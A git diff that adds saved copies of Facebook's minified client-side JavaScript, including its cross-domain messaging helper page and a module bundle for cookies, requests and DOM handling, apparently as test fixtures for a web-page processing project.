+__d("resolveWindow",[],function(a,b,c,d,e,f){function g(h){var i=window,j=h.split('.');try{for(var l=0;l<j.length;l++){var m=j[l],n=/^frames\[['"]?([a-zA-Z0-9\-_]+)['"]?\]$/.exec(m);if(n){i=i.frames[n[1]];}else if(m==='opener'||m==='parent'||m==='top'){i=i[m];}else return null;}}catch(k){return null;}return i;}e.exports=g;});
+__d("Log",["sprintf"],function(a,b,c,d,e,f){var g=b('sprintf'),h={DEBUG:3,INFO:2,WARNING:1,ERROR:0};function i(k,l){var m=Array.prototype.slice.call(arguments,2),n=g.apply(null,m),o=window.console;if(o&&j.level>=k)o[l in o?l:'log'](n);}var j={level:-1,Level:h,debug:ES5(i,'bind',true,null,h.DEBUG,'debug'),info:ES5(i,'bind',true,null,h.INFO,'debug'),warn:ES5(i,'bind',true,null,h.WARNING,'debug'),error:ES5(i,'bind',true,null,h.ERROR,'debug')};e.exports=j;});
+__d("sprintf",[],function(a,b,c,d,e,f){function g(h,i){i=Array.prototype.slice.call(arguments,1);var j=0;return h.replace(/%s/g,function(k){return i[j++];});}e.exports=g;});
+__d("XDM",["DOMEventListener","DOMWrapper","Flash","Log","UserAgent","emptyFunction","guid"],function(a,b,c,d,e,f){var g=b('DOMEventListener'),h=b('DOMWrapper'),i=b('Flash'),j=b('Log'),k=b('UserAgent'),l=b('emptyFunction'),m=b('guid'),n={},o={transports:[]},p=h.getWindow();function q(s){var t={},u=s.length,v=o.transports;while(u--)t[s[u]]=1;u=v.length;while(u--){var w=v[u],x=n[w];if(!t[w]&&x.isAvailable())return w;}}var r={register:function(s,t){j.debug('Registering %s as XDM provider',s [...]
+__d("DOMEventListener",["wrapFunction"],function(a,b,c,d,e,f){var g=b('wrapFunction'),h,i;if(window.addEventListener){h=function(k,l,m){m.wrapper=g(m,'entry',k+':'+l);k.addEventListener(l,m.wrapper,false);};i=function(k,l,m){k.removeEventListener(l,m.wrapper,false);};}else if(window.attachEvent){h=function(k,l,m){m.wrapper=g(m,'entry',k+':'+l);k.attachEvent('on'+l,m.wrapper);};i=function(k,l,m){k.detachEvent('on'+l,m.wrapper);};}var j={add:function(k,l,m){h(k,l,m);return {remove:function [...]
+__d("wrapFunction",[],function(a,b,c,d,e,f){var g={};function h(i,j,k){j=j||'default';return function(){var l=j in g?g[j](i,k):i;return l.apply(this,arguments);};}h.setWrapper=function(i,j){j=j||'default';g[j]=i;};e.exports=h;});
+__d("DOMWrapper",[],function(a,b,c,d,e,f){var g,h,i={setRoot:function(j){g=j;},getRoot:function(){return g||document.body;},setWindow:function(j){h=j;},getWindow:function(){return h||self;}};e.exports=i;});
+__d("Flash",["DOMWrapper","QueryString","UserAgent","copyProperties","guid"],function(a,b,c,d,e,f){var g=b('DOMWrapper'),h=b('QueryString'),i=b('UserAgent'),j=b('copyProperties'),k=b('guid'),l={},m,n=g.getWindow().document;function o(t){var u=n.getElementById(t);if(u)u.parentNode.removeChild(u);delete l[t];}function p(){for(var t in l)if(l.hasOwnProperty(t))o(t);}function q(t){return t.replace(/\d+/g,function(u){return '000'.substring(u.length)+u;});}function r(t){if(!m){if(i.ie()>=9)win [...]
+__d("UserAgent",[],function(a,b,c,d,e,f){var g=false,h,i,j,k,l,m,n,o,p,q,r,s,t,u;function v(){if(g)return;g=true;var x=navigator.userAgent,y=/(?:MSIE.(\d+\.\d+))|(?:(?:Firefox|GranParadiso|Iceweasel).(\d+\.\d+))|(?:Opera(?:.+Version.|.)(\d+\.\d+))|(?:AppleWebKit.(\d+(?:\.\d+)?))/.exec(x),z=/(Mac OS X)|(Windows)|(Linux)/.exec(x);r=/\b(iPhone|iP[ao]d)/.exec(x);s=/\b(iP[ao]d)/.exec(x);p=/Android/i.exec(x);t=/FBAN\/\w+;/i.exec(x);u=/Mobile/i.exec(x);q=!!(/Win64/.exec(x));if(y){h=y[1]?parseFl [...]
+__d("copyProperties",[],function(a,b,c,d,e,f){function g(h,i,j,k,l,m,n){h=h||{};var o=[i,j,k,l,m],p=0,q;while(o[p]){q=o[p++];for(var r in q)h[r]=q[r];if(q.hasOwnProperty&&q.hasOwnProperty('toString')&&(typeof q.toString!='undefined')&&(h.toString!==q.toString))h.toString=q.toString;}return h;}e.exports=g;});
+__d("guid",[],function(a,b,c,d,e,f){function g(){return 'f'+(Math.random()*(1<<30)).toString(16).replace('.','');}e.exports=g;});
+__d("emptyFunction",["copyProperties"],function(a,b,c,d,e,f){var g=b('copyProperties');function h(j){return function(){return j;};}function i(){}g(i,{thatReturns:h,thatReturnsFalse:h(false),thatReturnsTrue:h(true),thatReturnsNull:h(null),thatReturnsThis:function(){return this;},thatReturnsArgument:function(j){return j;}});e.exports=i;});require("initXdArbiter");</script></body></html>
\ No newline at end of file
diff --git a/src/test/resources/s/cf/xd_arbiter.htm b/src/test/resources/s/cf/xd_arbiter.htm
new file mode 100644
index 0000000..87f15cc
--- /dev/null
+++ b/src/test/resources/s/cf/xd_arbiter.htm
@@ -0,0 +1,33 @@
+<!DOCTYPE html>
+<!-- saved from url=(0176)http://static.ak.facebook.com/connect/xd_arbiter.php?version=18#channel=f3fdacdc8&origin=http%3A%2F%2Fedition.cnn.com&channel_path=%2F%3Ffb_xd_fragment%23xd_sig%3Df170f9157c%26 -->
+<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><title>Facebook Cross-Domain Messaging helper</title></head><body><script> document.domain = 'facebook.com'; var ES5 = function(){
+__d("ES5ArrayPrototype",[],function(a,b,c,d,e,f){var g={};g.map=function(h,i){if(typeof h!='function')throw new TypeError();var j,k=this.length,l=new Array(k);for(j=0;j<k;++j)if(j in this)l[j]=h.call(i,this[j],j,this);return l;};g.forEach=function(h,i){g.map.call(this,h,i);};g.filter=function(h,i){if(typeof h!='function')throw new TypeError();var j,k,l=this.length,m=[];for(j=0;j<l;++j)if(j in this){k=this[j];if(h.call(i,k,j,this))m.push(k);}return m;};g.every=function(h,i){if(typeof h!=' [...]
+__d("ES5FunctionPrototype",[],function(a,b,c,d,e,f){var g={};g.bind=function(h){if(typeof this!='function')throw new TypeError('Bind must be called on a function');var i=this,j=Array.prototype.slice.call(arguments,1);function k(){return i.apply(h,j.concat(Array.prototype.slice.call(arguments)));}k.displayName='bound:'+(i.displayName||i.name||'(?)');k.toString=function l(){return 'bound: '+i;};return k;};e.exports=g;});
+__d("ES5StringPrototype",[],function(a,b,c,d,e,f){var g={};g.trim=function(){if(this==null)throw new TypeError('String.prototype.trim called on null or undefined');return String.prototype.replace.call(this,/^\s+|\s+$/g,'');};e.exports=g;});
+__d("ES5Array",[],function(a,b,c,d,e,f){var g={};g.isArray=function(h){return Object.prototype.toString.call(h)=='[object Array]';};e.exports=g;});
+__d("ES5Object",[],function(a,b,c,d,e,f){var g={};g.create=function(h){var i=typeof h;if(i!='object'&&i!='function')throw new TypeError('Object prototype may only be a Object or null');var j=new Function();j.prototype=h;return new j();};g.keys=function(h){var i=typeof h;if(i!='object'&&i!='function'||h===null)throw new TypeError('Object.keys called on non-object');var j=[];for(var k in h)if(Object.prototype.hasOwnProperty.call(h,k))j.push(k);var l=!({toString:true}).propertyIsEnumerable( [...]
+__d("ES5Date",[],function(a,b,c,d,e,f){var g={};g.now=function(){return new Date().getTime();};e.exports=g;});
+/**
+ * @providesModule JSON3
+ * @option preserve-header
+ *
+ *! JSON v3.2.3 | http://bestiejs.github.com/json3 | Copyright 2012, Kit Cambridge | http://kit.mit-license.org
+ */__d("JSON3",[],function(a,b,c,d,e,f){(function(){var g={}.toString,h,i,j,k=e.exports={},l='{"A":[1,true,false,null,"\\u0000\\b\\n\\f\\r\\t"]}',m,n,o,p,q,r,s,t,u,v,w,x,y,z,aa,ba=new Date(-3509827334573292),ca,da,ea;try{ba=ba.getUTCFullYear()==-109252&&ba.getUTCMonth()===0&&ba.getUTCDate()==1&&ba.getUTCHours()==10&&ba.getUTCMinutes()==37&&ba.getUTCSeconds()==6&&ba.getUTCMilliseconds()==708;}catch(fa){}if(!ba){ca=Math.floor;da=[0,31,59,90,120,151,181,212,243,273,304,334];ea=function(ga,h [...]
+__d("ES5",["ES5ArrayPrototype","ES5FunctionPrototype","ES5StringPrototype","ES5Array","ES5Object","ES5Date","JSON3"],function(a,b,c,d,e,f){var g=b('ES5ArrayPrototype'),h=b('ES5FunctionPrototype'),i=b('ES5StringPrototype'),j=b('ES5Array'),k=b('ES5Object'),l=b('ES5Date'),m=b('JSON3'),n=Array.prototype.slice,o=Object.prototype.toString,p={'JSON.stringify':m.stringify,'JSON.parse':m.parse},q={array:g,'function':h,string:i,Object:k,Array:j,Date:l};for(var r in q){if(!q.hasOwnProperty(r))conti [...]
+return ES5.apply(null, arguments);
+};
+function emptyFunction() {};
+var require,__d;(function(a){var b={},c={},d=['global','require','requireDynamic','requireLazy','module','exports'];require=function(e,f){if(c.hasOwnProperty(e))return c[e];if(!b.hasOwnProperty(e)){if(f)return null;throw new Error('Module '+e+' has not been defined');}var g=b[e],h=g.deps,i=h.length,j,k=[];for(var l=0;l<i;l++){switch(h[l]){case 'module':j=g;break;case 'exports':j=g.exports;break;case 'global':j=a;break;case 'require':j=require;break;case 'requireDynamic':j=require;break;c [...]
+__d("QueryString",[],function(a,b,c,d,e,f){function g(k){var l=[];ES5(ES5('Object','keys',false,k),'forEach',true,function(m){var n=k[m];if(typeof n==='undefined')return;if(n===null){l.push(m);return;}l.push(encodeURIComponent(m)+'='+encodeURIComponent(n));});return l.join('&');}function h(k,l){var m={};if(k==='')return m;var n=k.split('&');for(var o=0;o<n.length;o++){var p=n[o].split('=',2),q=decodeURIComponent(p[0]);if(l&&m.hasOwnProperty(q))throw new URIError('Duplicate key: '+q);m[q] [...]
+__d("resolveWindow",[],function(a,b,c,d,e,f){function g(h){var i=window,j=h.split('.');try{for(var l=0;l<j.length;l++){var m=j[l],n=/^frames\[['"]?([a-zA-Z0-9\-_]+)['"]?\]$/.exec(m);if(n){i=i.frames[n[1]];}else if(m==='opener'||m==='parent'||m==='top'){i=i[m];}else return null;}}catch(k){return null;}return i;}e.exports=g;});
+__d("Log",["sprintf"],function(a,b,c,d,e,f){var g=b('sprintf'),h={DEBUG:3,INFO:2,WARNING:1,ERROR:0};function i(k,l){var m=Array.prototype.slice.call(arguments,2),n=g.apply(null,m),o=window.console;if(o&&j.level>=k)o[l in o?l:'log'](n);}var j={level:-1,Level:h,debug:ES5(i,'bind',true,null,h.DEBUG,'debug'),info:ES5(i,'bind',true,null,h.INFO,'debug'),warn:ES5(i,'bind',true,null,h.WARNING,'debug'),error:ES5(i,'bind',true,null,h.ERROR,'debug')};e.exports=j;});
+__d("sprintf",[],function(a,b,c,d,e,f){function g(h,i){i=Array.prototype.slice.call(arguments,1);var j=0;return h.replace(/%s/g,function(k){return i[j++];});}e.exports=g;});
+__d("XDM",["DOMEventListener","DOMWrapper","Flash","Log","UserAgent","emptyFunction","guid"],function(a,b,c,d,e,f){var g=b('DOMEventListener'),h=b('DOMWrapper'),i=b('Flash'),j=b('Log'),k=b('UserAgent'),l=b('emptyFunction'),m=b('guid'),n={},o={transports:[]},p=h.getWindow();function q(s){var t={},u=s.length,v=o.transports;while(u--)t[s[u]]=1;u=v.length;while(u--){var w=v[u],x=n[w];if(!t[w]&&x.isAvailable())return w;}}var r={register:function(s,t){j.debug('Registering %s as XDM provider',s [...]
+__d("DOMEventListener",["wrapFunction"],function(a,b,c,d,e,f){var g=b('wrapFunction'),h,i;if(window.addEventListener){h=function(k,l,m){m.wrapper=g(m,'entry',k+':'+l);k.addEventListener(l,m.wrapper,false);};i=function(k,l,m){k.removeEventListener(l,m.wrapper,false);};}else if(window.attachEvent){h=function(k,l,m){m.wrapper=g(m,'entry',k+':'+l);k.attachEvent('on'+l,m.wrapper);};i=function(k,l,m){k.detachEvent('on'+l,m.wrapper);};}var j={add:function(k,l,m){h(k,l,m);return {remove:function [...]
+__d("wrapFunction",[],function(a,b,c,d,e,f){var g={};function h(i,j,k){j=j||'default';return function(){var l=j in g?g[j](i,k):i;return l.apply(this,arguments);};}h.setWrapper=function(i,j){j=j||'default';g[j]=i;};e.exports=h;});
+__d("DOMWrapper",[],function(a,b,c,d,e,f){var g,h,i={setRoot:function(j){g=j;},getRoot:function(){return g||document.body;},setWindow:function(j){h=j;},getWindow:function(){return h||self;}};e.exports=i;});
+__d("Flash",["DOMWrapper","QueryString","UserAgent","copyProperties","guid"],function(a,b,c,d,e,f){var g=b('DOMWrapper'),h=b('QueryString'),i=b('UserAgent'),j=b('copyProperties'),k=b('guid'),l={},m,n=g.getWindow().document;function o(t){var u=n.getElementById(t);if(u)u.parentNode.removeChild(u);delete l[t];}function p(){for(var t in l)if(l.hasOwnProperty(t))o(t);}function q(t){return t.replace(/\d+/g,function(u){return '000'.substring(u.length)+u;});}function r(t){if(!m){if(i.ie()>=9)win [...]
+__d("UserAgent",[],function(a,b,c,d,e,f){var g=false,h,i,j,k,l,m,n,o,p,q,r,s,t,u;function v(){if(g)return;g=true;var x=navigator.userAgent,y=/(?:MSIE.(\d+\.\d+))|(?:(?:Firefox|GranParadiso|Iceweasel).(\d+\.\d+))|(?:Opera(?:.+Version.|.)(\d+\.\d+))|(?:AppleWebKit.(\d+(?:\.\d+)?))/.exec(x),z=/(Mac OS X)|(Windows)|(Linux)/.exec(x);r=/\b(iPhone|iP[ao]d)/.exec(x);s=/\b(iP[ao]d)/.exec(x);p=/Android/i.exec(x);t=/FBAN\/\w+;/i.exec(x);u=/Mobile/i.exec(x);q=!!(/Win64/.exec(x));if(y){h=y[1]?parseFl [...]
+__d("copyProperties",[],function(a,b,c,d,e,f){function g(h,i,j,k,l,m,n){h=h||{};var o=[i,j,k,l,m],p=0,q;while(o[p]){q=o[p++];for(var r in q)h[r]=q[r];if(q.hasOwnProperty&&q.hasOwnProperty('toString')&&(typeof q.toString!='undefined')&&(h.toString!==q.toString))h.toString=q.toString;}return h;}e.exports=g;});
+__d("guid",[],function(a,b,c,d,e,f){function g(){return 'f'+(Math.random()*(1<<30)).toString(16).replace('.','');}e.exports=g;});
+__d("emptyFunction",["copyProperties"],function(a,b,c,d,e,f){var g=b('copyProperties');function h(j){return function(){return j;};}function i(){}g(i,{thatReturns:h,thatReturnsFalse:h(false),thatReturnsTrue:h(true),thatReturnsNull:h(null),thatReturnsThis:function(){return this;},thatReturnsArgument:function(j){return j;}});e.exports=i;});require("initXdArbiter");</script></body></html>
\ No newline at end of file
diff --git a/src/test/resources/s/cf/ykTYXgXFmtV.js b/src/test/resources/s/cf/ykTYXgXFmtV.js
new file mode 100644
index 0000000..aaa3fd2
--- /dev/null
+++ b/src/test/resources/s/cf/ykTYXgXFmtV.js
@@ -0,0 +1,61 @@
+/*1358840815,173213979*/
+
+if (self.CavalryLogger) { CavalryLogger.start_js(["UNGn6"]); }
+
+__d("ChannelConstants",[],function(a,b,c,d,e,f){var g='channel/',h={ON_SHUTDOWN:g+'shutdown',ON_INVALID_HISTORY:g+'invalid_history',ON_CONFIG:g+'config',ON_ENTER_STATE:g+'enter_state',ON_EXIT_STATE:g+'exit_state',OK:'ok',ERROR:'error',ERROR_MAX:'error_max',ERROR_MISSING:'error_missing',ERROR_MSG_TYPE:'error_msg_type',ERROR_SHUTDOWN:'error_shutdown',ERROR_STALE:'error_stale',SYS_OWNER:'sys_owner',SYS_NONOWNER:'sys_nonowner',SYS_ONLINE:'sys_online',SYS_OFFLINE:'sys_offline',SYS_TIMETRAVEL: [...]
+__d("CookieCore",[],function(a,b,c,d,e,f){var g={set:function(h,i,j,k,l){document.cookie=h+"="+encodeURIComponent(i)+"; "+(j?"expires="+(new Date(Date.now()+j)).toGMTString()+"; ":"")+"path="+(k||'/')+"; domain="+window.location.hostname.replace(/^.*(\.facebook\..*)$/i,'$1')+(l?"; secure":"");},clear:function(h,i){i=i||'/';document.cookie=h+"=; expires=Thu, 01-Jan-1970 00:00:01 GMT; "+"path="+i+"; domain="+window.location.hostname.replace(/^.*(\.facebook\..*)$/i,'$1');},get:function(h){v [...]
+__d("Cookie",["CookieCore","Env","copyProperties"],function(a,b,c,d,e,f){var g=b('CookieCore'),h=b('Env'),i=b('copyProperties');function j(l,m,n,o,p){if(h.no_cookies&&l!='tpa')return;g.set(l,m,n,o,p);}var k=i({},g);k.set=j;e.exports=k;});
+__d("legacy:cookie",["Cookie"],function(a,b,c,d){var e=b('Cookie');a.getCookie=e.get;a.setCookie=e.set;a.clearCookie=e.clear;},3);
+__d("URI",["copyProperties","goURI"],function(a,b,c,d,e,f){var g=b('copyProperties'),h=b('goURI');function i(j){if(!(this instanceof i))return new i(j||window.location.href);this.parse(j||'');}g(i,{getRequestURI:function(j,k){j=j===undefined||j;var l=a.PageTransitions;if(j&&l&&l.isInitialized()){return l.getCurrentURI(!!k).getQualifiedURI();}else return new i(window.location.href);},getMostRecentURI:function(){var j=a.PageTransitions;if(j&&j.isInitialized()){return j.getMostRecentURI().g [...]
+__d("legacy:uri",["URI"],function(a,b,c,d){a.URI=b('URI');},3);
+__d("AsyncSignal",["Env","ErrorUtils","QueryString","URI","XHR","copyProperties"],function(a,b,c,d,e,f){var g=b('Env'),h=b('ErrorUtils'),i=b('QueryString'),j=b('URI'),k=b('XHR'),l=b('copyProperties');function m(n,o){this.data=o||{};if(g.tracking_domain&&n.charAt(0)=='/')n=g.tracking_domain+n;this.uri=n;}m.prototype.setHandler=function(n){this.handler=n;return this;};m.prototype.send=function(){var n=this.handler,o=this.data,p=new Image();if(n)p.onload=p.onerror=function(){h.applyWithGuar [...]
+__d("legacy:async-signal",["AsyncSignal"],function(a,b,c,d){a.AsyncSignal=b('AsyncSignal');},3);
+function detect_broken_proxy_cache(a,b){var c=getCookie(b);if((c!=a)&&(c!=null)&&(a!='0')){var d={c:'si_detect_broken_proxy_cache',m:b+' '+a+' '+c},e=new URI('/common/scribe_endpoint.php').getQualifiedURI().toString();new AsyncSignal(e,d).send();}}
+function link_rel_preload(){var a=/async(?:-post)?|dialog(?:-pipe|-post)?|theater|toggle/;document.documentElement.onmousedown=function(b){b=b||window.event;var c=b.target||b.srcElement,d=Parent.byTag(c,'A');if(!d)return;var e=d.getAttribute('ajaxify'),f=d.href,g=e||f;if(e&&f&&!(/#$/).test(f)){var h=b.which&&b.which!=1,i=b.altKey||b.ctrlKey||b.metaKey||b.shiftKey;if(h||i)return;}var j=d.rel&&d.rel.match(a);j=j&&j[0];switch(j){case 'dialog':case 'dialog-post':Bootloader.loadComponents('di [...]
+__d("DataStore",[],function(a,b,c,d,e,f){var g={},h=1;function i(l){if(typeof l=='string'){return 'str_'+l;}else return 'elem_'+(l.__FB_TOKEN||(l.__FB_TOKEN=[h++]))[0];}function j(l){var m=i(l);return g[m]||(g[m]={});}var k={set:function(l,m,n){if(!l)throw new TypeError('DataStore.set: namespace is required, got '+(typeof l));var o=j(l);o[m]=n;return l;},get:function(l,m,n){if(!l)throw new TypeError('DataStore.get: namespace is required, got '+(typeof l));var o=j(l),p=o[m];if(typeof p=== [...]
+__d("createObjectFrom",["hasArrayNature"],function(a,b,c,d,e,f){var g=b('hasArrayNature');function h(i,j){var k={},l=g(j);if(typeof j=='undefined')j=true;for(var m=i.length;m--;)k[i[m]]=l?j[m]:j;return k;}e.exports=h;});
+__d("DOMQuery",["CSS","UserAgent","createArrayFrom","createObjectFrom","ge"],function(a,b,c,d,e,f){var g=b('CSS'),h=b('UserAgent'),i=b('createArrayFrom'),j=b('createObjectFrom'),k=b('ge'),l=null;function m(o,p){return o.hasAttribute?o.hasAttribute(p):o.getAttribute(p)!==null;}var n={find:function(o,p){var q=n.scry(o,p);return q[0];},scry:function(o,p){if(!o||!o.getElementsByTagName)return [];var q=p.split(' '),r=[o];for(var s=0;s<q.length;s++){if(r.length===0)break;if(q[s]==='')continue; [...]
+__d("DOMEvent",["copyProperties"],function(a,b,c,d,e,f){var g=b('copyProperties');function h(i){this.event=i||window.event;this.target=this.event.target||this.event.srcElement;}g(h.prototype,{preventDefault:function(){var i=this.event;i.preventDefault?i.preventDefault():i.returnValue=false;return this;},stopPropagation:function(){var i=this.event;i.stopPropagation?i.stopPropagation():i.cancelBubble=true;return this;},kill:function(){this.stopPropagation().preventDefault();return this;}}) [...]
+__d("getObjectValues",["hasArrayNature"],function(a,b,c,d,e,f){var g=b('hasArrayNature');function h(i){var j=[];for(var k in i)j.push(i[k]);return j;}e.exports=h;});
+__d("Event",["event-form-bubbling","Arbiter","DataStore","DOMQuery","DOMEvent","ErrorUtils","Parent","UserAgent","$","copyProperties","getObjectValues"],function(a,b,c,d,e,f){b('event-form-bubbling');var g=b('Arbiter'),h=b('DataStore'),i=b('DOMQuery'),j=b('DOMEvent'),k=b('ErrorUtils'),l=b('Parent'),m=b('UserAgent'),n=b('$'),o=b('copyProperties'),p=b('getObjectValues'),q=a.Event;q.DATASTORE_KEY='Event.listeners';if(!q.prototype)q.prototype={};function r(ca){if(ca.type==='click'||ca.type== [...]
+__d("AsyncResponse",["Bootloader","Env","copyProperties","tx"],function(a,b,c,d,e,f){var g=b('Bootloader'),h=b('Env'),i=b('copyProperties'),j=b('tx');function k(l,m){i(this,{error:0,errorSummary:null,errorDescription:null,onload:null,replay:false,payload:m||null,request:l||null,silentError:false,transientError:false,is_last:true});return this;}i(k,{defaultErrorHandler:function(l){try{if(!l.silentError){k.verboseErrorHandler(l);}else l.logErrorByGroup('silent',10);}catch(m){alert(l);}},ve [...]
+__d("HTTPErrors",["emptyFunction"],function(a,b,c,d,e,f){var g=b('emptyFunction'),h={get:g,getAll:g};e.exports=h;});
+__d("bind",[],function(a,b,c,d,e,f){function g(h,i){var j=Array.prototype.slice.call(arguments,2);if(typeof i!='string')return Function.prototype.bind.apply(i,[h].concat(j));function k(){var l=j.concat(Array.prototype.slice.call(arguments));if(h[i])return h[i].apply(h,l);}k.toString=function(){return 'bound lazily: '+h[i];};return k;}e.exports=g;});
+__d("evalGlobal",[],function(a,b,c,d,e,f){function g(h){if(typeof h!='string')throw new TypeError('JS sent to evalGlobal is not a string. Only strings are permitted.');if(!h)return;var i=document.createElement('script');try{i.appendChild(document.createTextNode(h));}catch(j){i.text=h;}var k=document.getElementsByTagName('head')[0]||document.documentElement;k.appendChild(i);k.removeChild(i);}e.exports=g;});
+__d("AsyncRequest",["Event","Arbiter","AsyncResponse","Bootloader","CSS","Env","HTTPErrors","JSCC","Parent","Run","ServerJS","URI","UserAgent","XHR","bind","copyProperties","emptyFunction","evalGlobal","ge","goURI","isEmpty","tx"],function(a,b,c,d,e,f){var g=b('Event'),h=b('Arbiter'),i=b('AsyncResponse'),j=b('Bootloader'),k=b('CSS'),l=b('Env'),m=b('HTTPErrors'),n=b('JSCC'),o=b('Parent'),p=b('Run'),q=b('ServerJS'),r=b('URI'),s=b('UserAgent'),t=b('XHR'),u=b('bind'),v=b('copyProperties'),w= [...]
+__d("legacy:async",["AsyncRequest","AsyncResponse"],function(a,b,c,d){a.AsyncRequest=b('AsyncRequest');a.AsyncResponse=b('AsyncResponse');},3);
+__d("legacy:array-utils",["createArrayFrom","hasArrayNature"],function(a,b,c,d){a.$A=b('createArrayFrom');a.hasArrayNature=b('hasArrayNature');},3);
+__d("HTML",["function-extensions","Bootloader","UserAgent","copyProperties","createArrayFrom","emptyFunction","evalGlobal"],function(a,b,c,d,e,f){b('function-extensions');var g=b('Bootloader'),h=b('UserAgent'),i=b('copyProperties'),j=b('createArrayFrom'),k=b('emptyFunction'),l=b('evalGlobal');function m(n){if(n&&n.__html)n=n.__html;if(!(this instanceof m)){if(n instanceof m)return n;return new m(n);}this._content=n;this._defer=false;this._extra_action='';this._nodes=null;this._inline_js= [...]
+__d("isScalar",[],function(a,b,c,d,e,f){function g(h){return (/string|number|boolean/).test(typeof h);}e.exports=g;});
+__d("DOM",["function-extensions","DOMQuery","Event","HTML","UserAgent","$","copyProperties","createArrayFrom","isScalar","tx"],function(a,b,c,d,e,f){b('function-extensions');var g=b('DOMQuery'),h=b('Event'),i=b('HTML'),j=b('UserAgent'),k=b('$'),l=b('copyProperties'),m=b('createArrayFrom'),n=b('isScalar'),o=b('tx'),p='js_',q=0,r={};l(r,g);l(r,{create:function(u,v,w){var x=document.createElement(u);if(v)r.setAttributes(x,v);if(w!=null)r.setContent(x,w);return x;},setAttributes:function(u,v [...]
+__d("LiveTimer",["CSS","DOM","UserAgent","emptyFunction","tx"],function(a,b,c,d,e,f){var g=b('CSS'),h=b('DOM'),i=b('UserAgent'),j=b('emptyFunction'),k=b('tx'),l={restart:function(m){this.serverTime=m;this.localStartTime=Date.now()/1000;this.updateTimeStamps();},getApproximateServerTime:function(){return (this.serverTime-this.localStartTime)*1000+Date.now();},getServerTimeOffset:function(){return (this.serverTime-this.localStartTime)*1000;},updateTimeStamps:function(){l.timestamps=h.scry( [...]
+__d("legacy:live-timer",["LiveTimer"],function(a,b,c,d){a.LiveTimer=b('LiveTimer');},3);
+__d("JSLogger",[],function(a,b,c,d,e,f){var g={MAX_HISTORY:500,counts:{},categories:{},seq:0,pageId:(Math.random()*2147483648|0).toString(36),forwarding:false};function h(l){if(l instanceof Error&&a.ErrorUtils)l=a.ErrorUtils.normalizeError(l);try{return JSON.stringify(l);}catch(m){return '{}';}}function i(l,event,m){if(!g.counts[l])g.counts[l]={};if(!g.counts[l][event])g.counts[l][event]=0;m=m==null?1:Number(m);g.counts[l][event]+=isFinite(m)?m:0;}g.logAction=function(event,l,m){if(this. [...]
+__d("Nectar",["Env","startsWith"],function(a,b,c,d,e,f){var g=b('Env'),h=b('startsWith');function i(l){if(!l.nctr)l.nctr={};}function j(l){if(g.module||!l)return g.module;var m={fbpage_fan_confirm:true},n;while(l&&l.getAttributeNode){var o=(l.getAttributeNode('id')||{}).value;if(h(o,'pagelet_'))return o;if(n&&m[o])n=o;l=l.parentNode;}return n;}var k={addModuleData:function(l,m){var n=j(m);if(n){i(l);l.nctr._mod=n;}},addImpressionID:function(l){if(g.impid){i(l);l.nctr._impid=g.impid;}}};e [...]
+__d("Style",["DOMQuery","UserAgent","$","copyProperties"],function(a,b,c,d,e,f){var g=b('DOMQuery'),h=b('UserAgent'),i=b('$'),j=b('copyProperties');function k(r){return r.replace(/([A-Z])/g,'-$1').toLowerCase();}function l(r){return r.replace(/-(.)/g,function(s,t){return t.toUpperCase();});}function m(r,s){var t=q.get(r,s);return (t==='auto'||t==='scroll');}function n(r){var s={},t=r.split(/\s*;\s*/);for(var u=0,v=t.length-1;u<v;u++){var w=t[u].split(/\s*:\s*/);s[w[0]]=w[1];}return s;}fu [...]
+__d("DOMDimensions",["DOMQuery","Style"],function(a,b,c,d,e,f){var g=b('DOMQuery'),h=b('Style'),i={getElementDimensions:function(j){return {width:j.offsetWidth||0,height:j.offsetHeight||0};},getViewportDimensions:function(){var j=(window&&window.innerWidth)||(document&&document.documentElement&&document.documentElement.clientWidth)||(document&&document.body&&document.body.clientWidth)||0,k=(window&&window.innerHeight)||(document&&document.documentElement&&document.documentElement.clientH [...]
+__d("wrapFunction",[],function(a,b,c,d,e,f){var g={};function h(i,j,k){j=j||'default';return function(){var l=j in g?g[j](i,k):i;return l.apply(this,arguments);};}h.setWrapper=function(i,j){j=j||'default';g[j]=i;};e.exports=h;});
+__d("DOMEventListener",["wrapFunction"],function(a,b,c,d,e,f){var g=b('wrapFunction'),h,i;if(window.addEventListener){h=function(k,l,m){m.wrapper=g(m,'entry',k+':'+l);k.addEventListener(l,m.wrapper,false);};i=function(k,l,m){k.removeEventListener(l,m.wrapper,false);};}else if(window.attachEvent){h=function(k,l,m){m.wrapper=g(m,'entry',k+':'+l);k.attachEvent('on'+l,m.wrapper);};i=function(k,l,m){k.detachEvent('on'+l,m.wrapper);};}var j={add:function(k,l,m){h(k,l,m);return {remove:function [...]
+__d("DOMPosition",["DOMQuery"],function(a,b,c,d,e,f){var g=b('DOMQuery'),h={getScrollPosition:function(){var i=g.getDocumentScrollElement();return {x:i.scrollLeft,y:i.scrollTop};},getElementPosition:function(i){if(!i)return;var j=document.documentElement;if(!('getBoundingClientRect' in i)||!g.contains(j,i))return {x:0,y:0};var k=i.getBoundingClientRect(),l=Math.round(k.left)-j.clientLeft,m=Math.round(k.top)-j.clientTop;return {x:l,y:m};}};e.exports=h;});
+__d("isInIframe",[],function(a,b,c,d,e,f){function g(){return window!=window.top;}e.exports=g;});
+__d("DimensionTracking",["Event","AsyncSignal","Cookie","DOMDimensions","isInIframe"],function(a,b,c,d,e,f){var g=b('Event'),h=b('AsyncSignal'),i=b('Cookie'),j=b('DOMDimensions'),k=b('isInIframe');function l(){var m=j.getViewportDimensions();i.set('wd',m.width+'x'+m.height);if(Math.random()<.01)new h('/ajax/dimension_context.php',{x:m.width,y:m.height}).send();}if(!k()){setTimeout(l,100);g.listen(window,'resize',l);g.listen(window,'focus',l);}});
+__d("cx",[],function(a,b,c,d,e,f){function g(h){throw new Error('cx'+'(...): Unexpected class transformation.');}e.exports=g;});
+__d("Focus",["CSS","DOM","Event","Run","cx","ge"],function(a,b,c,d,e,f){var g=b('CSS'),h=b('DOM'),i=b('Event'),j=b('Run'),k=b('cx'),l=b('ge'),m={},n,o={set:function(s){try{s.focus();}catch(t){}},setWithoutOutline:function(s){g.addClass(s,"_1qp5");var t=i.listen(s,'blur',function(){g.removeClass(s,"_1qp5");t.remove();});o.set(s);},relocate:function(s,t){p();var u=h.getID(s);m[u]=t;g.addClass(s,"_1qp5");j.onLeave(r.curry(u));},reset:function(s){var t=h.getID(s);g.removeClass(s,"_1qp5");if( [...]
